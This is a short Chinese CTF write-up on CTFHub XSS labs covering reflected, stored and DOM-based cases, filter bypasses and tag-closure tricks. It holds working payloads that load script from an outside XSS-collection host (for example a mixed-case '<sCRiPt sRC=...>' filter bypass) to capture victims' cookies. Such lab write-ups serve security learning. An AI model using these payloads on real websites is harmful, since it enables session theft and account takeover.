1、反射型:
发现为表单式,猜测哪个可能存在注入漏洞,分别做测试注入发现name框存在xss漏洞
输入发现有回显但不是对方cookie,参考wp发现要用xss线上平台
将xss平台测试语句注入,将得到的url编码地址填入url框(此过程模拟用户被诱导点击链接)
在xss平台找到flag
2、存储型
与上题解题思路一致,用插入语句后用xss平台找到flag,插入语句后发现无回显(模拟黑客发送xss到服务器),查找源码,发现插入成功。
复制url编码到url栏中,提交(模拟用户点开链接),在xss平台查找。
3、DOM反射
尝试输入测试语句,发现无回显,查看源码
构造闭合标签
将xss代码输入测试栏,发现url地址有变化,将url地址复制到url地址栏,上传成功后在xss平台查看cookie。
闭合标签:
1、标签的属性值为可控点:
<div id = "可控点">div1</div> 需要使用 " 来闭合前面的引号
2、标签事件调用方法的参数为可控点:
4、DOM跳转
首先查看源码发现xss漏洞
从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL。
使用location.search
获取查询字符串部分,然后使用.split("=")
将其拆分为参数名和参数值的数组。检查target[0].slice(1)
是否等于"jumpto",这是因为target[0]
包含"?“字符,使用.slice(1)
去掉”?"。如果相等,就使用location.href
将页面重定向到target[1]
,也就是参数值所指定的URL。
原文参考:
CTFHub XSS DOM跳转 WriteUp_ctfhub dom跳转-CSDN博客
5、过滤空格
尝试注入,查看源码发现过滤空格,url地址不对,使用/**/过滤。
查看源码看格式是否正确
成功后将url地址复制后打开xss平台查看
6、过滤关键词
输入xss代码,<script src=https://uj.ci/t0r> </script>查看源码
发现过滤了script,尝试大小写绕过。
尝试<sCRiPt sRC=https://uj.ci/t0r></sCrIpT>
得到正确地址后将url地址复制后打开xss平台查看得到flag